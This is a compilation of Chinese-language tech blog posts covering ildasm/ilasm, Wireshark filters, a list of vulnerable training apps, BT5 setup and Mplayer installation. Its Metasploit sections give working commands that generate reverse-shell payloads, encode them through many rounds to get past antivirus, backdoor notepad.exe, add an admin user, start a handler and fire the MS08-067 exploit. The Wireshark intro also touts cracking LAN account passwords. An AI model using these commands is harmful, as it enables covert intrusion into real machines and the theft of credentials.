ildasm的用法

软中间语言 (MSIL) 是一种语言,是许多编译器(C#、VB.NET等)的输出。ILDasm (中间语言反汇编器)程序和.Net Framework SDK(FrameworkSDK\Bin\ildasm.exe)打包在一起,让用户以人可阅读的格式查看MSIL代码。通过该工具,我们可以打开任何.net可执行文件(exe或dll)并查看其MSIL代码。下边我们来看看怎么使用:
1.在VS2008中新建一个Windows窗体应用程序,输入如下代码后生成解决方案:

程序代码
private void Form1_Load(object sender, EventArgs e)
{
int i = 0;
i = i++;
MessageBox.Show(i.ToString());
}

2.运行ildasm,打开刚生成的exe文件,可以看到如下内容:

3.在ildasm中双击”Form1_Load: void(object,class [mscorlib]System.EventArgs)”即可看到上边代码的MSIL代码:
程序代码
.method private hidebysig instance void Form1_Load(object sender,
class [mscorlib]System.EventArgs e) cil managed
{
// 代码大小 22 (0x16)
.maxstack 3
.locals init ([0] int32 i)
IL_0000: ldc.i4.0
IL_0001: stloc.0
IL_0002: ldloc.0
IL_0003: dup
IL_0004: ldc.i4.1
IL_0005: add
IL_0006: stloc.0
IL_0007: stloc.0
IL_0008: ldloca.s i
IL_000a: call instance string [mscorlib]System.Int32::ToString()
IL_000f: call valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)
IL_0014: pop
IL_0015: ret
} // end of method Form1::Form1_Load

附:将ildasm集成到VS2008中
在VS2008菜单中选择”工具→外部工具”,点击添加按钮,在标题中输入ILdasm,命令中输入C:\Program Files\Microsoft SDKs\Windows\v6.0A\bin\ildasm.exe,确定后在工具菜单中就能找到ILdasm了,以后只要选择它就能运行ILdasm。

 

 

MSIL汇编程序(Ilasm.exe)和MSIL反汇编程序(Ildasm.exe)- –

 

先来解释下文要提到的几个名词:

PE文件:可移植可执行文件。当为公共语言运行库编译程序时,该程序转换为由三部分组成的 PE 文件,PE 标头、MSIL 指令、元数据。

MSIL: Microsoft 中间语言。这是一组可以有效地转换为本机代码且独立于 CPU 的指令。MSIL 包括用于加载、存储和初始化对象以及对对象调用方法的指令,还包括用于算术和逻辑运算、控制流、直接内存访问、异常处理和其他操作的指令。

 

 

MSIL 反汇编程序是 MSIL 汇编程序 (Ilasm.exe) 的伙伴工具。Ildasm.exe 采用包含 Microsoft 中间语言 (MSIL) 代码的可移植可执行 (PE) 文件,并创建相应的文本文件作为 Ilasm.exe 的输入。

还是以SampleClass为例来解释它们的用法。

MSIL反汇编程序(Ildasm.exe)

下面的命令使 PE 文件 SampleClass.exe 的元数据和反汇编代码显示在 Ildasm.exe 的默认 GUI 中。

ildasm SampleClass.exe
下面的命令对 SampleClass.exe 文件进行反汇编,并将结果 MSIL 汇编程程序文本存储在 SampleClass.il 文件中。

E:\test>ildasm SampleClass.exe /output:SampleClass.il
// WARNING: Created Win32 resource file SampleClass.res

下面的命令对 SampleClass.exe 文件进行反汇编,并将结果 MSIL 汇编程序文本显示到控制台窗口中。

E:\test>ildasm SampleClass.exe /text

如果文件 SampleClass.exe 包含嵌入的托管和非托管资源,则下面的命令将产生以下 4 个文件:SampleClass.il、SampleClass.res、Icons.resources 和 Message.resources:

ildasm SampleClass.exe /output:SampleClass.il

下面的命令对 SampleClass.exe 的 SampleClass 类中的 DataClass 方法进行反汇编,并将输出显示到控制台窗口中。

ildasm /item:SampleClass::DataClass SampleClass.exe /text

参数列表:

下列选项可用于 .exe、.dll、.obj 和 .lib 文件。

选项说明

/output:filename 创建具有指定 filename 的输出文件,而不是在对话框中显示结果。
/text 将结果显示到控制台窗口,而不是显示在对话框中或显示为输出文件。
/? 显示此工具的命令语法和选项。

下列附加选项可用于 .exe 和 .dll 文件。

选项说明

/bytes 以十六进制格式显示作为指令注释的实际字节。
/linenum 包含对原始源行的引用。
/nobar 取消反汇编进度指示器弹出窗口的显示。
/pubonly 只反汇编公共类型和公共成员。等效于 /visibility:PUB
/quoteallnames 在单引号中包含所有名称。
/raweh 以原始格式显示异常处理子句。
/source 显示作为注释的原始源行。
/tokens 显示类和成员的元数据标记。
/visibility:vis[+vis …] 只反汇编具有指定可见性的类型或成员。以下是 vis 的有效值。 PUB Public PRIPrivate FAM Family ASM Assembly FAA Family 和 Assembly FOA Family 或 Assembly PSC Private Scope

下列选项仅对用于文件或控制台输出的 .exe 和 .dll 文件有效。

选项说明

/all 指定 /header/bytes 和 /tokens 选项的组合。
/header 在输出中包含文件头信息。
/noil 取消 MSIL 程序集代码输出。
/unicode 对输出使用 Unicode 编码。
/utf8 对输出使用 UTF-8 编码。默认值是 ANSI。

下列选项仅对用于文件或控制台输出的 .exe、.dll、.obj 和 .lib 文件有效。

选项说明

/item:class[::method[(sig)]] 根据所提供的参数反汇编下列内容:

  • 反汇编指定的 class
  • 反汇编 class 的指定 method
  • 反汇编具有指定签名 sig 的 class 的 method。指定具有返回类型的签名和所需的任意多个参数。例如,returntype (param1param2,..paramn)。

MSIL汇编程序(Ilasm.exe)

下面的命令对 MSIL 文件 SampleClass.il 进行汇编并产生可执行文件 SampleClass.exe。

E:\test>ilasm SampleClass

Microsoft (R) .NET Framework IL Assembler.  Version 1.1.4322.2032
Copyright (C) Microsoft Corporation 1998-2002. All rights reserved.
Assembling ‘SampleClass.IL’ , no listing file, to EXE –> ‘SampleClass.EX
Source file is ANSI

Assembled method DataClass::.ctor
Assembled method DataClass::addem
Assembled method SampleClass::.ctor
Assembled method SampleClass::Main
Creating PE file

Emitting members:
Global
Class 1 Fields: 2;      Methods: 2;
Class 2 Fields: 2;      Methods: 2;
Resolving member refs: 11 -> 11 defs, 0 refs
Writing PE file
Operation completed successfully

下面的命令对 MSIL 文件 SampleClass.il 进行汇编并产生 .dll 文件 SampleClass.dll。

E:\test>ilasm SampleClass /dll

Microsoft (R) .NET Framework IL Assembler.  Version 1.1.4322.2032
Copyright (C) Microsoft Corporation 1998-2002. All rights reserved.
Assembling ‘SampleClass.IL’ , no listing file, to DLL –> ‘SampleClass.DLL’
Source file is ANSI

Assembled method DataClass::.ctor
Assembled method DataClass::addem
Assembled method SampleClass::.ctor
Assembled method SampleClass::Main
Creating PE file

Emitting members:
Global
Class 1 Fields: 2;      Methods: 2;
Class 2 Fields: 2;      Methods: 2;
Resolving member refs: 11 -> 11 defs, 0 refs
Writing PE file
Operation completed successfully

下面的命令对 MSIL 文件 SampleClass.il 进行汇编并产生 .dll 文件 SampleClass.dll。

ilasm SampleClass /dll /output:newSampleClass.dll

参数列表:

选项说明

/alignment=integer 将 FileAlignment 设置为由 NT Optional 标题中的 integer 指定的值。如果在文件中指定了 .alignment IL 指令,则此选项将重写它。
/base=integer 将 ImageBase 设置为由 NT Optional 标题中的 integer 指定的值。如果在文件指定了 .imagebase IL 指令,则此选项将重写它。
/clock 为指定的 .il 源文件测量并报告下列编译时间(以毫秒为单位): 总运行时间执行后面的所有特定操作所花费的总时间。 启动 加载并打开文件。分析

发出 MD 发出元数据。 定义引用解析 解析对文件中的定义的引用。修正和链接

CEE 文件生成 在内存中生成文件映像。 PE 文件写入 将映像写入 PE 文件。

/debug 包括调试信息(局部变量名和参数名以及行号)。
/dll 生成 .dll 文件作为输出。
/exe 生成可执行文件作为输出。这是默认值。
/flags=integer 将 ImageFlags 设置为由公共语言运行库标题中的 integer 指定的值。如果在文件中指定了 .corflags IL 指令,则此选项将重写它。有关 integer 的有效值的列表,请参见 CorHdr.h 中的 COMIMAGE_FLAGS。
/key:keyFile 使用 keyFile 中包含的私钥编译具有强签名的 filename
/key:@keySource 使用在 keySource 中生成的私钥编译具有强签名的 filename
/listing 在标准输出上生成列表文件。如果省略此选项,则不生成列表文件。
/nologo 取消显示 Microsoft 启动标题。
/output:file.ext 指定输出文件名和扩展名。默认情况下,输出文件名与第一个源文件名相同。默认扩展名为 .exe。如果指定 /dll 选项,则默认扩展名为 .dll。

注意   指定 /output:myfile.dll 并不会设置 /dll 选项。如果不指定 /dll,则会生成名为 myfile.dll 的可执行文件。

/quiet 指定安静模式;不报告程序集进度。
/resource:file.res 在生成的 .exe 或 .dll 文件中包括 *.res 格式的指定资源文件。使用 /resource选项只能指定一个 .res 文件。
/subsystem=integer 将 subsystem 设置为由 NT Optional 标题中的 integer 指定的值。如果在文件中指定了 .subsystem IL 指令,则此命令将重写它。有关 integer 的有效值的列表,请参见 winnt.h 中的 IMAGE_SUBSYSTEM。
/? 显示此工具的命令语法和选项。

[TOP10]十大渗透测试演练系统

本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识。

 

DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

链接地址:http://www.dvwa.co.uk

mutillidaemutillidae是一个免费,开源的Web应用程序,提供专门被允许的安全测试和入侵的Web应用程序。它是由Adrian “Irongeek” Crenshaw和Jeremy “webpwnized” Druin.开发的一款自由和开放源码的Web应用程序。其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等.

链接地址:http://sourceforge.net/projects/mutillidae

SQLolSQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句。此程序在Austin黑客会议上由Spider Labs发布。

链接地址:https://github.com/SpiderLabs/SQLol

hackxorhackxor是由albino开发的一个online黑客游戏,亦可以下载安装完整版进行部署,包括常见的WEB漏洞演练。包含常见的漏洞XSS、CSRF、SQL注入、RCE等。

链接地址:http://sourceforge.net/projects/hackxor

BodgeItBodgeIt是一个Java编写的脆弱性WEB程序。他包含了XSS、SQL注入、调试代码、CSRF、不安全的对象应用以及程序逻辑上面的一些问题。

链接地址:http://code.google.com/p/bodgeit

 

Exploit KB / exploit.co.il该程序包含了各种存在漏洞的WEB应用,可以测试各种SQL注入漏洞。此应用程序还包含在BT5里面。 

链接地址:http://exploit.co.il/projects/vuln-web-app

 

WackoPickoWackoPicko是由Adam Doupé.发布的一个脆弱的Web应用程序,用于测试Web应用程序漏洞扫描工具。它包含了命令行注射、sessionid问题、文件包含、参数篡改、sql注入、xss、flash form反射性xss、弱口令扫描等。 

链接地址:https://github.com/adamdoupe/WackoPicko

 

WebGoatWebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。 

链接地址:http://code.google.com/p/webgoat

 

OWASP HackademicOWASP Hackademic 是由OWASP开发的一个项目,你可以用它来测试各种攻击手法,目前包含了10个有问题的WEB应用程序。 

链接地址:https://code.google.com/p/owasp-hackademic-challenges

 

XSSeducationXSSeducation是由AJ00200开发的一套专门测试跨站的程序。里面包含了各种场景的测试。 

链接地址: http://wiki.aj00200.org/wiki/XSSeducation

FireFox HttpRequester–比HttpDebugger更牛的免费的工具 | 这里有下载

通过“附加组件”功能添加HttpRequester工具后,可以在“工具”菜单下打开。
HttpRequester是一个文本的HTTP请求工具,可以自定义请求的HTTP头、内容等等,支持全部的HTTP方法,相当适合用来做RESTFul的验证测试。
它能够查看到最原始的请求、响应内容,处理过程完全符合HTTP的规范。

 

可以查看Http协议包,修改包,发送,查看响应等等。。。。 各种牛。 firefox插件哦。 用firefox -> 文件 ->打开 ->安装  即可

下载地址 本地httprequester-1.0.4-fx

 

问: 为什么我下载了,用firefox打不开呢?  <——-不知道下载之后需要解压缩然后再用firefox打开的嘛@!!!!

Wireshark图解教程(简介、抓包、过滤器)

    Wireshark是世界上最流行的网络分析工具。这个强大的工具可以捕捉网络中的数据,并为用户提供关于网络和上层协议的各种信息。与很多其他网络工具一样,Wireshark也使用pcap network library来进行封包捕捉。可破解局域网内QQ、邮箱、msn、账号等的密码!! 
   wireshark的原名是Ethereal,新名字是2006年起用的。当时Ethereal的主要开发者决定离开他原来供职的公司,并继续开发这个软件。但由于Ethereal这个名称的使用权已经被原来那个公司注册,Wireshark这个新名字也就应运而生了。

在成功运行Wireshark之后,我们就可以进入下一步,更进一步了解这个强大的工具。

下面是一张地址为192.168.1.2的计算机正在访问“openmaniak.com”网站时的截图。

wireshark frontend

1. MENUS(菜单)
2. SHORTCUTS(快捷方式)
3. DISPLAY FILTER(显示过滤器)
4. PACKET LIST PANE(封包列表)
5. PACKET DETAILS PANE(封包详细信息)
6. DISSECTOR PANE(16进制数据)
7. MISCELLANOUS(杂项)

1. MENUS(菜单)

wireshark menus

程序上方的8个菜单项用于对Wireshark进行配置:

– “File”(文件)
– “Edit” (编辑)
– “View”(查看)
– “Go” (转到)
– “Capture”(捕获)
– “Analyze”(分析)
– “Statistics” (统计)
– “Help” (帮助)
打开或保存捕获的信息。
查找或标记封包。进行全局设置。
设置Wireshark的视图。
跳转到捕获的数据。
设置捕捉过滤器并开始捕捉。
设置分析选项。
查看Wireshark的统计信息。
查看本地或者在线支持。

2. SHORTCUTS(快捷方式)

wireshark shortcuts

在菜单下面,是一些常用的快捷按钮。
您可以将鼠标指针移动到某个图标上以获得其功能说明。

3. DISPLAY FILTER(显示过滤器)

wireshark display filter

显示过滤器用于查找捕捉记录中的内容。
请不要将捕捉过滤器和显示过滤器的概念相混淆。请参考Wireshark过滤器中的详细内容。

Wireshark图解教程(简介、抓包、过滤器) 返回页面顶部


4. PACKET LIST PANE(封包列表)

wireshark packet filter pane
wireshark packet filter pane

封包列表中显示所有已经捕获的封包。在这里您可以看到发送或接收方的MAC/IP地址,TCP/UDP端口号,协议或者封包的内容。

如果捕获的是一个OSI layer 2的封包,您在Source(来源)和Destination(目的地)列中看到的将是MAC地址,当然,此时Port(端口)列将会为空。
如果捕获的是一个OSI layer 3或者更高层的封包,您在Source(来源)和Destination(目的地)列中看到的将是IP地址。Port(端口)列仅会在这个封包属于第4或者更高层时才会显示。

您可以在这里添加/删除列或者改变各列的颜色:
Edit menu -> Preferences

5. PACKET DETAILS PANE(封包详细信息)

wireshark packet filter pane

这里显示的是在封包列表中被选中项目的详细信息。
信息按照不同的OSI layer进行了分组,您可以展开每个项目查看。下面截图中展开的是HTTP信息。

wireshark packet details pane

6. DISSECTOR PANE(16进制数据)

wireshark packet dissector pane

“解析器”在Wireshark中也被叫做“16进制数据查看面板”。这里显示的内容与“封包详细信息”中相同,只是改为以16进制的格式表述。
在上面的例子里,我们在“封包详细信息”中选择查看TCP端口(80),其对应的16进制数据将自动显示在下面的面板中(0050)。

7. MISCELLANOUS(杂项)

wireshark miscellanous

在程序的最下端,您可以获得如下信息:

– – 正在进行捕捉的网络设备。
– 捕捉是否已经开始或已经停止。
– 捕捉结果的保存位置。
– 已捕捉的数据量。
– 已捕捉封包的数量。(P)
– 显示的封包数量。(D) (经过显示过滤器过滤后仍然显示的封包)
– 被标记的封包数量。(M) 

正如您在Wireshark教程第一部分看到的一样,安装、运行Wireshark并开始分析网络是非常简单的。

使用Wireshark时最常见的问题,是当您使用默认设置时,会得到大量冗余信息,以至于很难找到自己需要的部分。
过犹不及。

这就是为什么过滤器会如此重要。它们可以帮助我们在庞杂的结果中迅速找到我们需要的信息。


捕捉过滤器:用于决定将什么样的信息记录在捕捉结果中。需要在开始捕捉前设置。
显示过滤器:在捕捉结果中进行详细查找。他们可以在得到捕捉结果后随意修改。

那么我应该使用哪一种过滤器呢?

两种过滤器的目的是不同的。
捕捉过滤器是数据经过的第一层过滤器,它用于控制捕捉数据的数量,以避免产生过大的日志文件。
显示过滤器是一种更为强大(复杂)的过滤器。它允许您在日志文件中迅速准确地找到所需要的记录。

两种过滤器使用的语法是完全不同的。我们将在接下来的几页中对它们进行介绍:


                      1. 捕捉过滤器             2. 显示过滤器


Wireshark图解教程(简介、抓包、过滤器) 1. 捕捉过滤器

捕捉过滤器的语法与其它使用Lipcap(Linux)或者Winpcap(Windows)库开发的软件一样,比如著名的TCPdump。捕捉过滤器必须在开始捕捉前设置完毕,这一点跟显示过滤器是不同的。

设置捕捉过滤器的步骤是:
– 选择 capture -> options。
– 填写”capture filter”栏或者点击”capture filter”按钮为您的过滤器起一个名字并保存,以便在今后的捕捉中继续使用这个过滤器。
– 点击开始(Start)进行捕捉。

wireshark capture options

wireshark capture options

语法:
Protocol
Direction
Host(s)
Value
Logical Operations
Other expression
例子:
tcp
dst
10.1.1.1
80
and
tcp dst 10.2.2.2 3128

Wireshark图解教程(简介、抓包、过滤器) Protocol(协议):
可能的值: ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp.
如果没有特别指明是什么协议,则默认使用所有支持的协议。

Wireshark图解教程(简介、抓包、过滤器) Direction(方向):
可能的值: src, dst, src and dst, src or dst
如果没有特别指明来源或目的地,则默认使用 “src or dst” 作为关键字。
例如,”host 10.2.2.2″与”src or dst host 10.2.2.2″是一样的。
Wireshark图解教程(简介、抓包、过滤器) Host(s):
可能的值: net, port, host, portrange.
如果没有指定此值,则默认使用”host”关键字。
例如,”src 10.1.1.1″与”src host 10.1.1.1″相同。

Wireshark图解教程(简介、抓包、过滤器) Logical Operations(逻辑运算):
可能的值:not, and, or.
否(“not”)具有最高的优先级。或(“or”)和与(“and”)具有相同的优先级,运算时从左至右进行。
例如,
“not tcp port 3128 and tcp port 23″与”(not tcp port 3128) and tcp port 23″相同。
“not tcp port 3128 and tcp port 23″与”not (tcp port 3128 and tcp port 23)”不同。


例子:

tcp dst port 3128

显示目的TCP端口为3128的封包。

ip src host 10.1.1.1

显示来源IP地址为10.1.1.1的封包。

host 10.1.2.3

显示目的或来源IP地址为10.1.2.3的封包。

src portrange 2000-2500

显示来源为UDP或TCP,并且端口号在2000至2500范围内的封包。

not imcp

显示除了icmp以外的所有封包。(icmp通常被ping工具使用)

src host 10.7.2.12 and not dst net 10.200.0.0/16

显示来源IP地址为10.7.2.12,但目的地不是10.200.0.0/16的封包。

(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8

显示来源IP为10.4.1.12或者来源网络为10.6.0.0/16,目的地TCP端口号在200至10000之间,并且目的位于网络10.0.0.0/8内的所有封包。


注意事项:

当使用关键字作为值时,需使用反斜杠“\”。
“ether proto \ip” (与关键字”ip”相同).
这样写将会以IP协议作为目标。

“ip proto \icmp” (与关键字”icmp”相同).
这样写将会以ping工具常用的icmp作为目标。

可以在”ip”或”ether”后面使用”multicast”及”broadcast”关键字。
当您想排除广播请求时,”no broadcast”就会非常有用。


查看 TCPdump的主页以获得更详细的捕捉过滤器语法说明。
Wiki Wireshark website上可以找到更多捕捉过滤器的例子。

Wireshark图解教程(简介、抓包、过滤器) 2. 显示过滤器:

通常经过捕捉过滤器过滤后的数据还是很复杂。此时您可以使用显示过滤器进行更加细致的查找。
它的功能比捕捉过滤器更为强大,而且在您想修改过滤器条件时,并不需要重新捕捉一次。

语法: Protocol .
String 1
.
String 2
Comparison
operator
Value
Logical
Operations
Other
expression
例子:
ftp
passive
ip
==
10.2.3.4
xor
icmp.type

Wireshark图解教程(简介、抓包、过滤器) Protocol(协议):

您可以使用大量位于OSI模型第2至7层的协议。点击”Expression…”按钮后,您可以看到它们。
比如:IP,TCP,DNS,SSH

wireshark filter expression

wireshark filter expression

您同样可以在如下所示位置找到所支持的协议:

wireshark supported protocols

wireshark supported protocols

Wireshark的网站提供了对各种 协议以及它们子类的说明

Wireshark图解教程(简介、抓包、过滤器) String1, String2 (可选项):

协议的子类。
点击相关父类旁的”+”号,然后选择其子类。

wireshark filter expression

Wireshark图解教程(简介、抓包、过滤器) Comparison operators (比较运算符):

可以使用6种比较运算符:

英文写法:  C语言写法:  含义:
eq 
== 
等于
ne
!=
不等于
gt
>
大于
lt
<
小于
ge
>=
大于等于
le
<=
小于等于

Wireshark图解教程(简介、抓包、过滤器) Logical expressions(逻辑运算符):

英文写法:  C语言写法:  含义:
and
&&
逻辑与
or
||
逻辑或
xor
^^
逻辑异或
not
!
逻辑非

被程序员们熟知的逻辑异或是一种排除性的或。当其被用在过滤器的两个条件之间时,只有当且仅当其中的一个条件满足时,这样的结果才会被显示在屏幕上。
让我们举个例子:
“tcp.dstport 80 xor tcp.dstport 1025”
只有当目的TCP端口为80或者来源于端口1025(但又不能同时满足这两点)时,这样的封包才会被显示。


例子:

snmp || dns || icmp 显示SNMP或DNS或ICMP封包。
ip.addr == 10.1.1.1

显示来源或目的IP地址为10.1.1.1的封包。

ip.src != 10.1.2.3 or ip.dst != 10.4.5.6

显示来源不为10.1.2.3或者目的不为10.4.5.6的封包。
换句话说,显示的封包将会为:
来源IP:除了10.1.2.3以外任意;目的IP:任意
以及
来源IP:任意;目的IP:除了10.4.5.6以外任意

ip.src != 10.1.2.3 and ip.dst != 10.4.5.6

显示来源不为10.1.2.3并且目的IP不为10.4.5.6的封包。
换句话说,显示的封包将会为:
来源IP:除了10.1.2.3以外任意;同时须满足,目的IP:除了10.4.5.6以外任意

tcp.port == 25 显示来源或目的TCP端口号为25的封包。
tcp.dstport == 25 显示目的TCP端口号为25的封包。
tcp.flags 显示包含TCP标志的封包。
tcp.flags.syn == 0x02 显示包含TCP SYN标志的封包。

如果过滤器的语法是正确的,表达式的背景呈绿色。如果呈红色,说明表达式有误。

wireshark display filter example 表达式正确
wireshark display filter example 表达式错误

VirtualBox网络互联

bt5  安装了virtualbox想要主机与虚拟机互联。

查看了几个网上的讲解,各个讲的都很理论。但是相互之间是他妈矛盾的。擦。

最后验证下面一条可行:

第二种 Bridged Adapter模式

需要配置的是:

1.  主机 不用动

2. 虚拟机把防火墙关掉!!!这个很重要哦。否则ping不通。各种ping不通

3. 虚拟机设成DHCP指派ip.也就是自动分配ip.

其他的没试

metasploit->msfencoding 一次加密多次加密,免杀。

[bash]

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R |msfencode -e x86/shikata_ga_nai  -t exe > /var/www/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
|
root@bt:/# file /var/www/payload2.exe
/var/www/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
We add the R flag at to the msfpayload command line to specify raw
output, because we will pipe its output directly into msfencode. We specify the
x86/shikata_ga_nai encoder at
and tell msfencode to send the executable out-
put -t exe to /var/www/payload2.exe. Finally, we run a quick check at to
ensure that the resulting file is in fact a Windows executable. The response
tells us that it is. Unfortunately, after the payload2.exe file is copied over to the
Windows system, AVG detects our encoded payload yet again, as shown :

[/bash]

R : 指定payload输出raw数据因为要加密,
payload的选择以及参数设置不用说. |为管道.  -e 后面是msfencode的加密方法, -t exe为msfencode的输出类型.

>后面是输出文件的路径

这是一次加密。多次加密如下:

[bash]

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5
-t raw
| msfencode -e x86/alpha_upper -c 2
-t raw | msfencode -e
x86/shikata_ga_nai -c 5
-t raw | msfencode -e x86/countdown -c 5
-t exe -o /var/www/payload3.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
[*] x86/alpha_upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1940 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 1969 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1998 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2027 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2056 (iteration=5)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] x86/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)
root@bt:/opt/framework3/msf3#
Here we use five counts at of shikata_ga_nai, feeding the code in raw
format at into two counts of alpha_upper encoding at , which is then fed
to another five counts of shikata_ga_nai ,followed by five counts of countdown
encoding at , before finally directing the output into the desired execut-
able. We are using a total of 17 encoding loops in an attempt to circumvent
the antivirus software. And, as you can see in Figure 7-3, we have successfully
slipped our payload past the antivirus engine.

[/bash]

明显拉。多次加密就是加密多次。。。。。。。。<—-废话

但是要保证除最后一次生成需要的文件类型之外,中间管道的输入数据类型都必须是RAW数据。

msfpayload输出raw数据使用参数R.  msfencode输出raw数据使用参数 -t raw

在上文的例子中,每一加密都加密了多轮。 使用-c 参数进行控制。

最后附带上msfencode的help. help里面有详细参数说明哦.

[bash]

root@bt:~# msfencode -h

Usage: /opt/metasploit/msf3/msfencode <options>

OPTIONS:

-a <opt>  The architecture to encode as
-b <opt>  The list of characters to avoid: ‘\x00\xff’
-c <opt>  The number of times to encode the data
-d <opt>  Specify the directory in which to look for EXE templates
-e <opt>  The encoder to use
-h        Help banner
-i <opt>  Encode the contents of the supplied file path
-k        Keep template working; run payload in new thread (use with -x)
-l        List available encoders
-m <opt>  Specifies an additional module search path
-n        Dump encoder information
-o <opt>  The output file
-p <opt>  The platform to encode for
-s <opt>  The maximum size of the encoded data
-t <opt>  The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh,psh-net
-v        Increase verbosity
-x <opt>  Specify an alternate executable template

root@bt:~#

[/bash]

BT5安装VirtualBox

有段时间了,这个问题,在BT5下一直装不上。后面看了官方的wiki才知道要安装特殊的版本才可以成功。具体方法如下:

wget http://download.virtualbox.org/virtualbox/4.0.10/virtualbox-4.0_4.0.10-72479~Ubuntu~lucid_i386.deb

dpkg -i virtualbox-4.0_4.0.10-72479~Ubuntu~lucid_i386.deb

就这么简单,就好了。如果其他问题请看http://www.backtrack-linux.org/wiki/index.php/Install_VBox

作者:lengf

用Metasploit Framework给EXE文件加后门

官方网站 www.metasploit.com

大多来自 http://www.linux520.com/  感谢beach老师的无私奉献

http://www.linux520.com/v/l00047/l00047.html
http://www.irongeek.com/videos/msfpayload-msfencoder-metasploit-3-3.swf   这个两个视频都是比较有用的.
===================
msfpayload   msfencode      msfcli

===================
msfpayload -h

 Usage: /msf3/msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[V]BA|[W]ar>

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.13 LPORT=4455  R |  msfencode  -k -x  notepad.exe -t  exe  -e x86/shikata_ga_nai   -c 5 -o  diy_notepad.exe

msfcli exploit/multi/handler payload=windows/shell/reverse_tcp lhost=192.168.1.13 lport=4455  E

=====================

msfpayload  windows/adduser pass=123123 user=admin x >diy_user_add.exe 生成可执行文件

chmod +x diy_user_add.exe      添加此文件的执行权限(默认生成是没有执行权限的)

===============
$ msfcli -h
Usage: /msf3/msfcli <exploit_name> <option=value> [mode]

/msf3/msfcli <exploit_name> <payload_name> t(target) o(option)
========================================================

Mode          Description
—-           ———–
(H)elp         You’re looking at it baby!
(S)ummary      Show information about this module
(O)ptions      Show available options for this module
(A)dvanced     Show available advanced options for this module
(I)DS Evasion  Show available ids evasion options for this module
(P)ayloads     Show available payloads for this module
(T)argets      Show available targets for this exploit module
(AC)tions      Show available actions for this auxiliary module
(C)heck        Run the check routine of the selected module
(E)xecute      Execute the selected module

msfcli windows/smb/ms08_067_netapi payload=windows/shell/bind_tcp target=1 RHOST=192.168.1.13 LPORT=5555

Install Mplayer and Multimedia Codecs (libdvdcss2,w32codecs,w64codecs) on ubuntu 11.04 (Natty)

MPlayer is a movie and animation player that supports a wide range of codecs and file formats, including MPEG 1/2/4,DivX 3/4/5, Windows Media 7/8/9, RealAudio/Video up to 9, Quicktime 5/6, and Vivo 1/2. It has many MX/SSE (2)/3Dnow(Ex) optimized native audio and video codecs, but allows using XAnim’s and RealPlayer’s binary codec plugins, and Win32 codec DLLs. It has basic VCD/DVD playback functionality, including DVD subtitles, but supports many text- based subtitle formats too. For video output, nearly every existing interface is supported. It’s also able to convert any supported files to raw/divx/mpeg4 AVI (pcm/mp3 audio), and even video grabbing from V4L devices.

Install Mplayer in Ubuntu 11.04 (Natty)

You have to make sure you have enabled universe,multiverse repositories

Now you need to run the following command to update the source list

sudo apt-get update

Install mplayer using the following command

sudo apt-get install mplayer

or

Click on the following link

apt://mplayer

If you want to open mplayer go to Applications—>Sound&Video—> Mplayer Movie Player

Install w32 video codecs and libdvdcss2 in Ubuntu 11.04 (Natty)

Support for WMV, RealMedia and other formats has been bundled into the w32codecs package. This package is not available from the Ubuntu repositories due to licensing and legal restrictions.To play encrypted DVDs, the libdvdcss2 package is essential.

The following command adds Medibuntu’s repository to Ubuntu. It also adds Medibuntu’s GPG key to your keyring, which is needed to authenticate the Medibuntu packages.

sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list –output-document=/etc/apt/sources.list.d/medibuntu.list

sudo apt-get -q update

sudo apt-get –yes -q –allow-unauthenticated install medibuntu-keyring

sudo apt-get -q update

You may also wish to add the following packages. The first will cause many apps from the Medibuntu repository to appear in Ubuntu Software Center (Ubuntu 9.10+) or Add/Remove Applications (versions prior to 9.10). The second will allow users to generate crash reports against Medibuntu packages and submit them to the Medibuntu bugtracker.

sudo apt-get –yes install app-install-data-medibuntu apport-hooks-medibuntu

Please note you may have to use –force-yes instead of –yes in order for this command to succeed.
For i386 Users install Codecs using the following command

sudo apt-get install w32codecs libdvdcss2

